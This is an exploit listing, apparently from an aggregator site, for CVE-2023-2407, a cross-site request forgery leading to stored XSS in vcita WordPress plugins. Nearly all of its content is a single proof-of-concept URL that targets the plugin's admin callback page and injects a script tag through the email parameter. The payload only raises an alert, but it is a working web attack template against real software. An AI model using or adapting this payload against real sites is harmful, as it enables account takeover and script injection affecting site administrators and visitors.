Exploit for Multiple plugins by vcita - CSRF to Stored XSS in settings page CVE-2023-2407

Name: Exploit for Multiple plugins by vcita - CSRF to Stored XSS in settings page CVE-2023-2407
Rating: 5 (95 reviews)

2023-06-02 | CVSS 4.3

## https://sploitus.com/exploit?id=WPEX-ID:883C0425-9B18-4F52-8956-5264B8F12B99
https://example.com/wp-admin/admin.php?page=live-site-parse-vcita-callback&success=true&uid=a&first_name=a&last_name=b&title=c&confirmation_token=d&confirmed=true&engage_delay=1&implementation_key=1&email=a“/><script>alert(1);</script>